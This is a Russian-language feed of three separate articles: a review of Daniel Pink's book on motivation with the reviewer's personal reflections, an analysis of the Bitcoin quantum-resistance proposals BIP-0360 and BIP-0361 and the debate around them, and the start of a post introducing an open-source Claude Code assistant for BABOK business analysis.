Идея управления людьми, пишет автор, основана на определённых предположениях о фундаментальной природе тех, кем управляют. Нет награды — не будут делать, что надо. Нет наказания — будут делать то, что не надо. Но действительно ли такова природа человека? Это ли наша «настройка по умолчанию»? Рождаются ли люди пассивными и инертными или, наоборот, активными и вовлечёнными? Дэниэль убеждён, что наша основная природа — это любопытство и самонаправленность, и приводит четыре составляющие автономности (4T), дающие человеку значительный рост мотивации:

Что люди делают (task).
Когда они это делают (time).
Как они это делают (technique).
С кем они это делают (team).

И здесь легко вспоминаются примеры гибкого графика («time») и фокуса на результат при свободном выборе способа его достижения («technique»), часто встречающиеся например в IT. С «task» и «team» сложнее: здесь редко можно встретить отсутствие чётких директив сверху или постоянных организационных структур, разве что можно рассмотреть примеры хакатонов или выделения 20% рабочего времени на свободные проекты за рамками текущих рабочих обязанностей, что например было популяризовано Google.

Дэниэль вновь обращает внимание на качественный сдвиг характера труда, произошедший на рубеже веков: «Для рутинных задач, характерных для большей части двадцатого века, требование подчинения обычно работало отлично. Но это было тогда. Для задач XXI века, имеющих определяющее значение, такая стратегия оказывается неэффективной, зачастую крайне неэффективной. Решение сложных проблем требует пытливого ума и готовности экспериментировать, чтобы найти новое решение. Если Мотивация 2.0 стремилась к подчинению, то Мотивация 3.0 стремится к вовлечённости».

Мастерство

«Желание заниматься чем-то, потому что это приносит глубокое удовлетворение и представляет собой личный вызов, вдохновляет на самые высокие уровни творчества, будь то искусство, наука или бизнес» — в книге приводятся слова Гарвардского профессора Терезы Амабиль.

Неотъемлемой частью таких высоких уровней творчества Дэниэль называет «состояние потока» и приводит несколько примеров того, в чём оно проявляется. 11 000 ученых и инженеров, опрошенных в компаниях США, сообщили, что стремление к интеллектуальным вызовам — то есть желание освоить что-то новое и интересное — является лучшим показателем производительности труда. Люди вообще склонны к тревоге, когда то, что им нужно сделать, превышает их возможности. Когда то, что им нужно сделать, не соответствует их возможностям, результатом становится скука. Но когда всё идеально совпадает, результаты могут быть великолепными. В этом и заключается суть состояния потока.

Особо автор подчёркивает важность состояния, названного психологом Михаем Чиксентмихайи «автотелическими переживаниями» — от греческих слов «auto» (само, собственный) и «telos» (цель или предназначение). В автотелическом переживании цель самоисполняющаяся, а сама деятельность является наградой. Михай также является автором самой концепции «состояния потока», как «психического состояния, в котором человек полностью включён в то, чем он занимается, что характеризуется деятельным сосредоточением, полным вовлечением в процесс деятельности».

«На протяжении всей моей спортивной карьеры главной целью всегда было стать лучше, чем я был в тот или иной момент — будь то на следующей неделе, в следующем месяце или в следующем году. Целью было именно улучшение. Медаль была лишь высшей наградой за достижение этой цели» — в книге приводится цитата Себастьяна Коу, бегуна на средние дистанции и двукратного олимпийского чемпиона.

Автор приводит три закона мастерства:

Мастерство — это образ мышления. Автор противопоставляет фреймворки мышления Мотивации 2.0 (Тип X) и 3.0 (Тип I). «Люди с поведением Типа X часто придерживаются теории врождённых способностей, им важнее показать результат, чем чему-то научиться, и они скептически относятся к усердию, видя в нём лишь доказательство нехватки таланта. Поведение Типа I основывается на инкрементальной теории интеллекта, то есть на том что врождённые способности можно развивать: такие люди ценят обучение выше внешних показателей и приветствуют усердие как способ достичь мастерства в чём-то важном. Начните с одной установкой — и мастерство может оказаться недостижимым. Начните с другой — и оно станет неизбежным», пишет Дэниель.
Мастерство — это боль. Как бы ни было прекрасно находиться в состоянии потока, путь к мастерству — постоянное совершенствование в том, что вам дорого, — не окружён радугой и единорогами. Если бы это было так, больше людей отправились бы в это путешествие. Мастерство — это больно. Иногда, а то и часто, это не доставляет удовольствия, подчёркивает автор. Таков один из уроков работы психолога Андерса Эрикссона, чьи новаторские исследования экспертной деятельности дали новую теорию того, что способствует мастерству. Как он выразился: «Многие характеристики, которые когда-то считались отражением врождённого таланта, на самом деле являются результатом интенсивной практики в течение как минимум 10 лет».
Мастерство — это асимптота. Чтобы подчеркнуть бесконечный путь к совершенству, автор использует математическую концепцию асимптоты. «Казалось бы, асимптота мастерства — это источник разочарования. Зачем стремиться к тому, чего невозможно достичь полностью? Но в этом кроется и притягательная сила. Почему бы не попробовать? Радость заключается скорее в самом процессе, чем в результате. В конечном счёте, мастерство привлекает именно тем, что оно ускользает».

Осмысленность

Автор ссылается на многие исследования психологов и экономистов, обнаруживших, что корреляция между деньгами и счастьем слабая — что после определенного (и довольно скромного) уровня большая сумма денег не приносит людям большего удовлетворения. Но некоторые социологи начали добавлять к этому наблюдению некоторые нюансы и Дэниэль приводит пример такого исследования Эдварда Деси, Ричарда Райана и Кристофера Нимиека. Учёные опросили нескольких будущих выпускников об их жизненных целях — и спустя несколько лет после получения образования пообщались повторно. Одна группа на первом опросе считала более важным достижение достатка или славы, вторая — считала главным сделать жизнь лучше, учиться и расти. Последовавший через несколько лет опрос показал повышенный уровень беспокойства и недовольства среди участников первой группы, причём даже среди тех, кто достиг поставленных ранее целей, и они вообще не стали счастливее за эти годы. В то же время вторая группа показала, напротив, заметное увеличение удовлетворённости жизнью и чаще оценивали свою жизнь как благополучную.

Отчасти концепция большего, чем генерация прибыли, смысла реализуется в концепции L3C «low-profit limited liability company» (дословно общество с ограниченной ответственностью с низкой прибылью) — гибридной бизнес-структуры в США, объединяющей черты некоммерческих и коммерческих организаций для достижения социальных целей. Как поясняется в одном из отчётов по ссылке автора, L3C «работает как коммерческое предприятие, приносящее хотя бы скромную прибыль, но его главная цель — приносить значительную социальную пользу». Похожая формулировка, которую я недавно заметил на сайте Anthropic, — «public benefit corporation» (корпорация, приносящая общественную пользу).

«Невозможно прожить по-настоящему прекрасную жизнь, не чувствуя принадлежности к чему-то большему и более вечному, чем ты сам» — автор цитирует Михая Чиксентмихайи и заключает: «Мы знаем, что люди — это не просто маленькие, медлительные, лучше пахнущие лошади, скачущие за сиюминутной морковкой. Мы знаем — если проводили время с маленькими детьми или помним себя в лучшие моменты своей жизни — что нам не суждено быть пассивными и покорными. Мы созданы для активности и вовлечённости. И мы знаем, что самые ценные переживания в нашей жизни приходятся не на поиски одобрения со стороны других, а на моменты, когда мы прислушиваемся к собственному голосу — когда мы делаем что-то важное, делаем это хорошо и делаем это во имя дела, большего, чем мы сами».

Как построить жизнь, основываясь на новой системе мотивации

«Людьми с типом личности I формируются, а не рождаются. Хотя мир переполнен внешними мотиваторами, мы можем многое сделать, чтобы привнести больше автономии, мастерства и смысла в нашу работу и жизнь» — считает автор и приводит девять упражнений, которые помогут встать на правильный путь:

Сделайте тест на состояние потока. В какие мгновения вы чувствовали себя в «потоке»? Где вы были? Чем занимались? С кем были? Связаны ли эти переживания с определённым временем суток и можно ли изменить расписание дня в соответствии с этим? Как можно увеличить долю оптимального опыта и снизить число моментов, когда вы чувствуете себя невовлечёнными или отвлекаетесь? Если у вас есть сомнения насчёт вашей работы или карьеры, дало ли это упражнение вам знания об истинном источнике внутренней мотивации?
Задайте один большой вопрос… В 1962 году Клэр Бут Люс, одна из первых женщин, работавших в Конгрессе США, дала совет президенту Джону Ф. Кеннеди. «Великий человек, — сказала она ему, — это одно предложение». Предложение Авраама Линкольна звучало так: «Он сохранил Союз штатов и освободил рабов», предложение Франклина Рузвельта: «Он вывел нас из Великой депрессии и помог выиграть мировую войну». Есть ли у вас такое одно предложение для себя?
… и продолжите задавать маленькие. В конце каждого дня спрашивайте себя, были ли вы сегодня лучше, чем вчера. Сделали ли вы больше? Сделали ли вы это хорошо? Мне вспоминается знаменитая китайская пословица, приписываемая философу Лао-цзы — «Путь в тысячу ли начинается с первого шага».
Возьмите саббатикал. Дэниэль приводит пример Стефана Сагмайстера, который каждые семь лет закрывает свою студию графического дизайна, сообщает клиентам, что не вернется в течение года, и уходит в 365-дневный отпуск. Он использует это время для путешествий, посещения мест, где никогда не был, и экспериментов с новыми проектами. Я знаю, что, к сожалению, далеко не для всех это реалистично. Но Стефан говорит, что идеи, которые он генерирует в течение года «отпуска», часто обеспечивают ему доход на следующие семь лет.
Проведите самооценку производительности. Определитесь с целями, в первую очередь целями саморазвития, но можно добавить и направленные на внешний результат. Затем через существенный для их достижения промежуток времени, например каждый месяц, честно оцените прогресс. Ставьте большие и маленькие цели, чтобы ко времени оценки у вас точно была возможность полностью завершить некоторые из них. Убедитесь, что каждый аспект вашей деятельности относится к большим целям. Будьте совершенно честны. Цель этой процедуры в улучшении продуктивности и достижении мастерства, поэтому если вы пытаетесь оправдать свои неудачи или замалчивать свои ошибки вместо того, чтобы учиться на них, вы зря потратите время.
Выйдите из застоя, сменив угол зрения. В 1975 году продюсер Брайан Ино и художник Питер Шмидт выпустили набор из ста карточек со стратегиями, которые помогали им справляться с колоссальным давлением, неизбежно возникающим перед дедлайном. На каждой карточке записан один — зачастую загадочный — вопрос или фраза, призванные вытолкнуть вас из ментальной колеи. Вот несколько примеров: «Как бы поступил твой лучший друг?», «Твоя ошибка была скрытым намерением», «Какое решение самое простое?», «Повторение — это форма перемен», «Не избегай того, что даётся легко». Если вы работаете над проектом и зашли в тупик, вытяните из колоды (есть даже доступные для покупки готовые комплекты, правда, в России альтернатив не нашёл – вот пример за границей) карту «обходной стратегии», советует автор, и подчёркивает, что это отличный способ сохранить гибкость ума вопреки внешним ограничениям, которые вы не в силах изменить.
Сделайте 5 шагов к мастерству.
1. Помните, что у осознанной практики только одна цель — рост продуктивности.
2. Итерируйте, итерируйте и ещё раз итерируйте.
3. Ищите постоянную критическую обратную связь.
4. Беспощадно фокусируйтесь на том, что у вас не получается.
5. Будьте готовы к тому, что этот процесс измотает вас — и ментально, и физически.

Что ещё почитать

Для тех, кто заинтересован в том, чтобы развить в себе Тип I, Дэниэль, «не претендуя на полноту, а скорее для хорошего старта», приводит список (я читал книгу на английском, здесь старался выбрать корректные переводы названий):

«Конечные и бесконечные игры: жизнь как игра и возможность», Джеймс Карс.
«Талант ни при чем! Что на самом деле отличает выдающихся исполнителей от всех остальных», Джефф Колвин.
«Поток: Психология оптимального переживания», Михай Чиксентмихайи.
«Почему мы делаем то, что делаем: понимание самомотивации», Эдвард Деси и Ричард Фласт.
«Гибкое сознание: новый взгляд на психологию развития взрослых и детей», Кэрол Дуэк.
«И мы пришли к концу», Джошуа Феррис.
«Хорошая работа: когда мастерство и этика встречаются», Говард Гарднер, Михай Чиксентмихайи, Уильям Дэймон.
«Гении и аутсайдеры: почему одним всё, а другим ничего?», Малкольм Гладуэлл.
«Команда соперников: политический гений Авраама Линкольна», Дорис Кернс Гудвин.
«Дилетанты: история четверых молодых людей и их погони за олимпийским золотом», Дэвид Хальберстам.
«Наказанные наградами: что не так с золотыми звездами, системами поощрения, пятерками, похвалой и другими взятками», Альфи Кон.
«Однажды в беге», Джон Л. Паркер-младший.
«Война за креатив: как преодолеть внутренние барьеры и выиграть битву за творчество», Стивен Прессфилд.
«Маверик: История успеха самой необычной компании в мире», Рикардо Семлер.
«Пятая дисциплина: искусство и практика обучающейся организации», Питер Сенге.

Мой опыт

В данный момент я могу сказать, что у меня всё вполне хорошо с автономией и мастерством. Я занимаю роль Staff инженера на работе в CloudLinux и веду достаточно интересные и значимые проекты. Я квалифицирован в своём деле. Кроме того, я люблю открытое и свободное ПО и работаю в департаменте по развитию и поддержке продукта, обеспечивающего безопасность Linux-серверов, это придаёт осмысленность. Этот путь начался с определяющего мой профессиональный путь первого знакомства с ArchLinux на втором курсе университета в 2006 году и, оглядываясь назад, я понимаю, что именно триада автономии, мастерства и осмысленности привлекала меня. Кроме того, «для себя» я немного занимаюсь удалённой организацией Пермской группы пользователей Linux и ведением научно-фантастического клуба NX-01 (писал про него на Хабре), это прибавляет недостающих «очков осмысленности». А деньги — на самом деле чаще всего они приходят попутно. И это в сумме даёт достаточный уровень мотивации и для работы и для остального. Разве что я бы ещё раз подчеркнул уже упомянутую выше важность достаточного базового уровня компенсации за проделанный труд. Если уровень дохода настолько низкий, что ты должен постоянно думать, как прожить, — тогда, пожалуй, все эти высокофилософские размышления могут показаться пустой болтовнёй.

Заключение

В рамках этого обзора я сосредоточился на личном уровне мотивации. Пожалуй, самое важное в книге, что мне не удалось поместить в этот обзор, — это солидная подборка ссылок и кратких описаний множества научных исследований и экспериментов, составивших основу этой книги. Без этого, возможно, что-то звучало неубедительно или непонятно. Кроме того, я не упомянул рекомендации по развитию Мотивации 3.0 и Типа I для коммерческих и некоммерческих организаций, родителей и учителей. И ещё много всего важного и интересного. Но, надеюсь, что хотя бы заинтересовал книгой и, возможно, вы её посмотрите.

Что касается личного опыта, то я бы перевернул авторскую триаду. Для меня всё началось со смысла, а уже от него я перешёл к мастерству и автономности. Именно это сочетание остаётся главным двигателем, а достойный уровень дохода всегда приходил попутно.

Защита Bitcoin от квантовых атак или кража денег у Сатоши?

BestChange — Fri, 17 Apr 2026 18:23:12 +0000

На этой неделе крипто-сообщество ведёт ожесточённые споры вокруг BIP‑0361 — предложения, которое может изменить фундаментальные правила владения биткоином. Поводом для обсуждения стала публикация в конце марта технической белой книги Google Quantum AI, которая радикально сдвинула оценку сроков появления квантовой угрозы.

Мы изучили техническую документацию, историю разработки и позиции ключевых фигур, чтобы разобраться в сути происходящего.

BIP‑0360 и технология P2MR: технический фундамент

Угроза: атаки длительной экспозиции

Согласно анализу исследователей, под угрозой атаки со стороны квантовых вычислений сегодня находятся около трети циркулирующего предложения биткоина. Речь идёт о монетах, которые хранятся в адресах, у которых публичный ключ раскрыт прямо в блокчейне — в устаревших адресах P2PK (применявшихся на этапе тестирования блокчейна), либо при их повторном использовании. При этом обновление Taproot, предназначенное для повышения приватности и эффективности, теперь делает публичные ключи видимыми по умолчанию в выходах транзакций, что расширяет список потенциальных жертв потенциальной квантовой атаки.

BIP‑0360 вводит понятие для постоянно присутствующего вектора атак — long‑exposure attack. Так охарактеризовали атаки, при которой злоумышленник с криптографически значимым квантовым компьютером (CRQC) восстанавливает приватный ключ из публичного ключа, уже находящегося в блокчейне. В отличие от short‑exposure угроз, когда атака на транзакцию происходит на этапе нахождения её в мемпуле и требует срабатывания за несколько минут, long‑exposure угрозы не ограничены по времени и является более желанной целью злоумышленников.

Как работает P2MR

P2MR (Pay‑to‑Merkle‑Root) — это новый тип выхода, предложенный в BIP‑0360. Ключевое отличие от P2TR (Taproot) это полное удаление информации из транзакции о ключевом пути (key‑path spend).

В P2TR выход коммитится к tweaked public key Q = P + H(P || m)G, где P — внутренний публичный ключ, m — корень дерева скриптов. Key‑path позволяет потратить выход простой подписью Шнорра, не раскрывая существования скриптового дерева. Однако сам публичный ключ Q остаётся в блокчейне — и именно он становится мишенью для квантовой атаки.

P2MR заменяет эту конструкцию: выход коммитится напрямую к корню дерева скриптов, без включения публичного ключа. При трате пользователь обязан:

Раскрыть один из скриптов дерева (например, условие мультиподписи или временной блокировки).
Предоставить доказательство Меркла (Merkle proof) — хеши соседних ветвей, подтверждающие, что скрипт действительно является частью закоммиченного дерева.
Выполнить условия скрипта (например, предоставить подпись, соответствующую публичному ключу, указанному внутри скрипта).

Критически важно: публичный ключ, используемый для проверки подписи, никогда не появляется в самом выходе. Он раскрывается только в момент траты — и только для того скрипта, который реально исполняется. Это устраняет возможность проведения атаки с длительной экспозицией.

Ключевое отличие BIP‑0341 и BIP‑0360

Техническая реализация различия

В BIP‑0341 (Taproot) выходной скрипт определяется как OP_1 <32-byte push>, где 32‑байтовое значение — это output_key (tweaked public key). Правила траты допускают два пути:

Key‑path: предоставить действительную подпись Шнорра для output_key.
Script‑path: раскрыть скрипт, доказать его принадлежность дереву через доказательство Меркла (Merkle proof) и выполнить скрипт.

В BIP‑0360 (P2MR) выходной скрипт также использует SegWit первой версии, но 32‑байтовое значение — это исключительно корень дерева скриптов. Валидация key‑path полностью исключена из консенсусных правил для этого типа выхода.

Почему разработчики BIP‑0341 сразу не применили тот же приём?

Taproot разрабатывался в 2019–2020 годах, когда квантовая угроза воспринималась скорее как гипотетическая, а приоритетами были приватность (транзакции не раскрывающие структуру) и эффективность (небольшой размер подписи).

Сокрытие key‑path в 2020 году лишило бы Taproot его главных преимуществ, и создало бы проблемы на пути массового принятия технологии.

Компромиссы P2MR

Параметр	P2TR (key‑path)	P2MR
Размер	66 байт	103 байта
Приватность	Высокая (`key‑path` неотличим от обычной транзакции)	Снижена (раскрывается факт использования скриптового дерева)
Уязвимость перед long‑exposure attack	Да	Нет

Разработчики сознательно пошли на увеличение размера транзакций, а следовательно и комиссий, чтобы устранить опасность атак с длительной экспозицией.

BIP‑0361: трёхфазная миграция

И если возможное внедрение P2MR не вызвало серьёзных опасений со стороны сообщества, то предложенный в BIP‑0361 принудительный график отказа от квантово‑уязвимых типов выходов уже вызвал бурные обсуждения.

Фаза	Что происходит	Актор	Срок
A	Разрешены переводы со старых (legacy) адресов только на квантово-устойчивые адреса	Все, кто владеет или принимает BTC	160 000 блоков после активации BIP-0361 (~3 года)
B	На заранее определённой высоте блока узлы отклоняют транзакции, использующие ключи ECDSA/Schnorr	Все, кто владеет или принимает BTC	Через 2 года после активации Фазы A
C	Пользователи с «замороженными» средствами, уязвимыми для квантовых атак, и seed-фразой HD-кошелька могут создать квантово-устойчивое доказательство для восстановления	Пользователи, не успевшие перевести средства до Фазы B	Будет определено в зависимости от исследований, спроса и консенсуса

Источник: BIP‑0361

Фаза C описана как «требующая дальнейших исследований», ведь без неё предложенное улучшение в некоторых случаях превращается в безвозвратную конфискацию средств.

Стоит заметить, что на момент публикации этого материала предложение BIP‑0361 находится в статусе Draft (черновик). Никаких решений о его реализации не принято, а сроки активации пока не установлены. Как охарактеризовал предложение один из его разработчиков Джеймсон Лопп, сегодня это «грубый набросок плана на случай непредвиденных обстоятельств».

Хронология событий:

Дата	Событие	Документ
19 января 2020	Представлен BIP‑0341 (Taproot), авторы: Pieter Wuille, Jonas Nick, Anthony Towns	BIP‑0341
12 ноября 2021	Taproot активирован в основной сети Bitcoin (блок 709 632)	—
18 декабря 2024	Создан BIP‑0360 (первоначально P2QRH, позже переименован в P2MR), автор: Hunter Beast	BIP‑0360
11 февраля 2026	BIP‑0360 объединён с официальным репозиторием после добавления соавторов Ethan Heilman и Isabel Foxen Duke	BIP‑0360
14 апреля 2026	Представлен BIP‑0361, авторы: Jameson Lopp, Christian Papathanasiou, Ian Smith, Joe Ross, Steve Vaile, Pierre-Luc Dallaire-Demers	BIP‑0361

Альтернативные взгляды на риски и мнения экспертов

Известный биткоин‑евангелист Джимми Сонг выразил свой скептицизм в соцсети X:

А основатель TFTC Марти Бент в более жёсткой форме назвал предложение «абсурдным».

Тогда как основатель Cardano Чарльз Хоскинсон в более конструктивной форме выдвинул два фундаментальных технических возражения:

BIP‑0361 — это хард‑форк, а не софт‑форк

Хоскинсон утверждает, что инвалидация существующих схем подписи (ECDSA/Schnorr) заставляет старые узлы прекращать работу, если они не обновятся. Это противоречит определению софт‑форка: «чтобы реально сделать это, нужен хард‑форк».

Авторы BIP‑0361 действительно признают эту проблему, отмечая, что если Фаза C не будет активирована вместе с Фазой B, то, вероятно, потребуется хард‑форк блокчейна.
ZK‑восстановление не спасёт ранние монеты

Примерно 1,7 млн BTC (включая ~1,1 млн BTC, приписываемых Сатоши) были созданы до появления BIP‑32 (иерархические детерминированные кошельки) и BIP‑39 (мнемонические фразы). Раннее программное обеспечение Bitcoin использовало локальный пул ключей без детерминированного seed. Как следствие, будет невозможно создать подтверждение владения с нулевым разглашением seed‑фразой для таких монет.

В тексте улучшения также упоминается это принципиальное ограничение: «невозможно построить доказательство владения HD‑кошельком для UTXO, созданных до появления BIP‑32».

Примечательно и то, что активный разработчик Bitcoin core Марк Эрхардт (известный как Murch), который ранее закоммитил улучшение BIP‑0360, назвал план по его внедрению (BIP‑0361) «авторитарным и конфискационным».

Вице-президент по маркетингу продукта в Unchained (предоставляют финансовые услуги для биткоин-инвесторов) и по совместительству член совета директоров и консультантов фонда Bitcoin Scholars Fund Фил Гейгер лаконично сформулировал всю суть большей части критики фразой:

«Мы украдём деньги людей, чтобы предотвратить кражу их денег»

Генеральный директор Blockstream Адам Бэк 16 апреля 2026 года также выступил на Paris Blockchain Week с альтернативной позицией.

Он подчеркнул, что текущие квантовые компьютеры остаются «по сути лабораторными экспериментами», а прогресс в этой области за 25 лет его наблюдений был «постепенным». Бэк считает, что Taproot (BIP‑0341) уже спроектирован достаточно гибко для добавления новых методов подписи без нарушения работы существующих пользователей.

Ключевой контраргумент Бэка касается способности сообщества к оперативной координации, когда любые обнаруженные баги исправляются сообществом в течение нескольких часов. Он считает, что разработчики смогут быстро решить проблему при возникновении реальной угрозы.

В качестве дополнения к озвученному Бэком стоит упомянуть план BitMEX Research, который описывает создание «канареечной» системы. Принцип работы которой заключается в размещении небольшого количества биткоинов на специальном адресе «signal vault», который может быть взломан только злоумышленником, обладающим квантовыми способностями. Любые траты с этого адреса будут являться публичным доказательством того, что угроза уже существует, и автоматически запустят блокировку старых кошельков в сети.

Такой механизм призван заменить фиксированную по времени заморозку, сохраняя устойчивость блокчейна биткоина к цензуре и снижая потенциальные системные сбои, хотя это и сопряжено с повышением сложности реализации.

Заключение

Нашумевшее улучшение поднимает фундаментальный вопрос: может ли протокол ограничить право на трату средств ради коллективной безопасности? Технически P2MR (BIP‑0360) предлагает довольно элегантное, хоть и не самое лучшее, но решение для будущих переводов, но принудительная миграция создаёт вопиющий прецедент по ограничению доступа для ряда пользователей к своим монетам.

Столь спорное обновление может привести к хард-форку — разделению блокчейна на две независимые ветки, что подорвёт доверие к сети и создаст временный хаос на рынке.

Кроме того, принудительное замораживание средств может противоречить законам о собственности в ряде юрисдикций, создавая риски исков к майнерам, а в некоторых случаях к любым владельцам полных нод и даже крипто-биржам.

Учитывая поляризацию сообщества, вероятность принятия BIP‑0361 в текущем виде крайне низка. Поэтому вопреки поднятой в СМИ шумихе нет необходимости срочно бежать и спасать свои биткоины от квантовых компьютеров. Скорее всего, мы увидим целую серию компромиссных контрпредложений в ближайшие месяцы.

Как я научил Claude Code работать бизнес-аналитиком по руководству BABOK. Вот что получилось

chaussky — Fri, 17 Apr 2026 18:16:03 +0000

AIналитик (AInalyst) — это AI-ассистент, который работает рядом с вами как опытный коллега бизнес-аналитик. Он прекрасно знает методологию BABOK v3, умеет строить карты стейкхолдеров, планировать интервью и обрабатывать его результаты: собирать требования, трассировать и приоритизировать их, оформлять артефакты. Вы описываете задачу своими словами — AIналитик предлагает следующий шаг, задаёт уточняющие вопросы и делает работу.

BABOK guide, которое является руководством, регламентирующим работу бизнес аналитиков — это более 500 страниц структурированной экспертизы. AIналитик встроил её в свой процесс: он не даст вам пропустить важный шаг, предупредит о рисках и подскажет следующее действие. BA, который плохо ориентируется в методологии, с платформой начинает работать по методологии BABOK так же уверенно, как опытный специалист.

Исходники Платформы вы найдете на гитхабе: Репозиторий AIналитика на GitHub

Привет, Хабр! Я бизнес-аналитик, последнее время перешедший в AI разработку, хочу представить вам свой пет-проект: AI Платформа AIналитик. Или коротко AIналитик (AInalyst).

AI Платформа AIналитик это опенсорсный проект, распространяющийся по лицензии AGPL v3. Телеграм с новостями проекта

Документация проекта

В папке репозитория docs/ содержится подробная и исчерпывающая документация по проекту: пользовательская инструкция, руководство разработчика и примеры сценариев использования Платформы.

Целевая аудитория: кому это может быть полезно?

Платформа помогает бизнес-аналитикам работать по методологии BABOK v3 — последовательно и без лишних усилий. Когда я только начинал работу над проектом, я держал в уме две категории:

Опытный бизнес-аналитик получает инструмент, который снимает рутину: структурирует транскрипты, строит матрицы трассировки, генерирует коммуникационные пакеты для разных аудиторий — и освобождает время для анализа, интерпретации и принятия решений.

Начинающий BA получает надёжного проводника. Платформа помогает все делать “правильно”: задаёт нужные вопросы, подсказывает, вовремя предупреждает, объясняет почему формулировка не прошла валидацию, показывает как должно выглядеть хорошее требование, готовит артефакты.

Но потом понял, что целевая аудитория AIналитика не ограничивается только бизнес-аналитиками. Он также может быть очень полезен продактам, проджектам и стартаперам:

Продакты, проджекты и технические директора. Иногда на проекте нет выделенного бизнес-аналитика. Его роль могут взять на себя product manager, project manager или технический директор. У них есть высокоуровневое понимание продукта и бизнес-процессов, но нет глубоких компетенций в методологии сбора и анализа требований. AIналитик в таком случае подставит им свое плечо и поделится своей экспертизой.

Стартаперы и основатели новых продуктов. Когда бюджет сильно ограничен, нанимать бизнес-аналитика бывает нет возможности. Но грамотно собранные требования — это разница между продуктом, который работает, и продуктом, который приходится переделывать. Как же быть? В этой ситуации Платформа также может выручить. Она поможет разобраться со стейкхолдерами, структурировано собрать требования и передать их команде разработки в том виде, в котором с ними можно работать. Стартапер легко сможет примерить на себя роль бизнес-аналитика.

AI Платформа AIналитик на момент написания статьи покрывает все задачи четырёх ключевых областей знаний BABOK:

Планирование и мониторинг бизнес-анализа (Глава 3)

3.1 Планирование подхода к бизнес-анализу
3.2 Планирование вовлечения заинтересованных сторон
3.3 Планирование руководства бизнес-анализом
3.4 Планирование управления информацией бизнес-анализа
3.5 Определение возможностей улучшения эффективности бизнес-анализа

Выявление и сотрудничество (Глава 4)

4.1 Подготовка к выявлению
4.2 Проведение выявления
4.3 Подтверждение результатов выявления
4.4 Предоставление информации бизнес-анализа
4.5 Управление сотрудничеством с заинтересованными сторонами

Управление жизненным циклом требований (Глава 5)

5.1 Трассировка требований
5.2 Поддержание требований
5.3 Приоритизация требований
5.4 Оценка изменений требований
5.5 Утверждение требований

Анализ стратегии (Глава 6)

6.1 Анализ текущего состояния
6.2 Определение будущего состояния
6.3 Оценка рисков
6.4 Определение стратегии изменения

Анализ требований и определение дизайна (Глава 7)

7.1 Спецификация и моделирование требований
7.2 Верификация требований
7.3 Валидация требований
7.4 Определение архитектуры требований
7.5 Определение вариантов дизайна
7.6 Анализ потенциальной ценности и рекомендация решения

Задачи Главы 8 в планах.

Что это даёт на практике

Для бизнес-аналитиков. В первую очередь использование AIналитика на проекте приводит к снижению когнитивной нагрузки. Проект может длится месяцами — стейкхолдеры, решения, требования, история изменений. Удержать всё в голове невозможно. Конфлюенс снимает только часть проблем. AIналитик же фиксирует каждый шаг живого BA в структурированных артефактах. В любой момент можно спросить «что сейчас открыто по согласованиям» или «почему было принято это решение» и получить ответ немедленно.

Для руководителей. Внезапный уход бизнес-аналитика с большого проекта (в силу увольнения или болезни) может сильно ударить по команде. Это большая головная боль для руководителя. Требования хоть и отражены в конфлюенсе (или еще где-то), но все равно основная масса информации по проекту находится в голове ушедшего бизнес аналитика. Если же работа велась с помощью AI Платформы AIналитик, информация никуда не пропадает. Она остается в его недрах в виде структурированных данных. И главное она может быть быстро доступна для нового бизнес-аналитика! Онбординг нового BA на порядок сокращается по времени. Ему не нужно будет часами копаться в документации, переспрашивать коллег и стейкхолдеров о принятых решениях. Ему нужно только задать вопросы. AIналитик быстро введет нового BA в курс дела!

Сценарии использования Платформы

Обширные сценарии использования Платформы вы найдете в репозитории в папке docs/use-cases/. Два примера я привожу в этой статье чуть ниже.

Что из себя представляет платформа AIналитик?

В основе платформы — большая языковая модель (LLM) Claude от Anthropic. Конечно, вы можете просто открыть обычный чат с Claude и задавать вопросы ему. Это работает. Но у такого подхода есть принципиальное ограничение: если вы сами не знаете, что спросить и в какой последовательности, то чат превращается в умного, но неструктурированного собеседника.

Он ответит на ваш вопрос, но не скажет, правильный ли это вопрос для данного момента проекта. Чтобы получить правильный ответ, нужно задать правильный вопрос - это работает в обычной человеческой жизни, а уж с нейросетями тем более!

AI Платформа AIналитик решает эту проблему через три слоя:

Claude Code — AI-агент, который не просто отвечает, а действует: читает файлы, выполняет команды.
Skills (скиллы) — 21 специализированный модуль, каждый из которых глубоко «знает» конкретную задачу BABOK: как её правильно выполнить, на что обратить внимание, какие артефакты создать. Это встроенная экспертиза методологии.
MCP-инструменты — 22 сервера со 111 инструментами, которые выполняют конкретные аналитические операции: строят реестры стейкхолдеров, анализируют транскрипты интервью, создают матрицы трассировки, оценивают риски, формируют спецификации требований.

Вместе эти три слоя создают то, чего не даёт обычный чат: чёткую канву работы, по которой вы движетесь от начала проекта до финального артефакта. С помощью Платформы бизнес-аналитик (или лицо, выполняющее на проекте его роль), - как трамвай, движущийся по рельсам. Рельсы вас практически гарантировано доставят до места назначения, не дадут вам свернуть в сторону!

Подробное описание Платформы в формате пользовательской инструкции

Подробное описание Платформы в формате: краткое описание задачи BABOK -> боли и проблемы бизнес-аналитика в контексте этой задачи -> какие решения в этом случае предлагает AIналитик, вы найдете в файлах пользовательской инструкции (см. папку docs/user-guide репозитория).

Вам не нужно разбираться, что у Платформы под капотом

Это, пожалуй, самое важное, что нужно понять про AIналитика. Вам не нужно знать названия скиллов. Не нужно изучать, как работают MCP-инструменты. Не нужно заучивать никакие команды. Просто разговаривайте с AIналитиком на человеческом языке:

«Мне нужно подготовиться к интервью с финансовым директором» «У меня есть транскрипт встречи, нужно выявить требования» «Пришёл запрос на изменение, помоги оценить»

AIналитик сам определит, какой скилл и какие инструменты нужны, и запустит их.

Каждый скилл написан по строгой спецификации Антропика и содержит YAML-заголовок с триггерами — смысловыми паттернами, которые описывают, когда именно этот скилл должен сработать. Когда бизнес-аналитик пишет что-то в чат, AIналитик (посредством Claude Code) анализирует запрос, сопоставляет его с триггерами, активирует нужный скилл — и тот вызывает соответствующие инструменты из MCP-серверов. Бизнес-аналитик не знает, что именно происходит под капотом. Ему это и не нужно: он просто забирает результат, который использует для целей проекта.

Зона ответственности бизнес-аналитика

Платформа берёт на себя методологию и техническую работу. Но три вещи остаются за BA.

Формирование контекста: входные данные и результаты

Бизнес-аналитик ответственен за формирование правильного контекста. BA со своей стороны должен поставлять в Платформу для ее работы сырые данные: транскрипты интервью, анкеты, протоколы встреч, бизнес-документы, регламенты, нормативные акты. Они кладутся в папку inputs/. Просто скопируйте файлы туда и скажите AIналитику, что обработать. Поддерживаются форматы .txt, .md, .pdf и .docx.

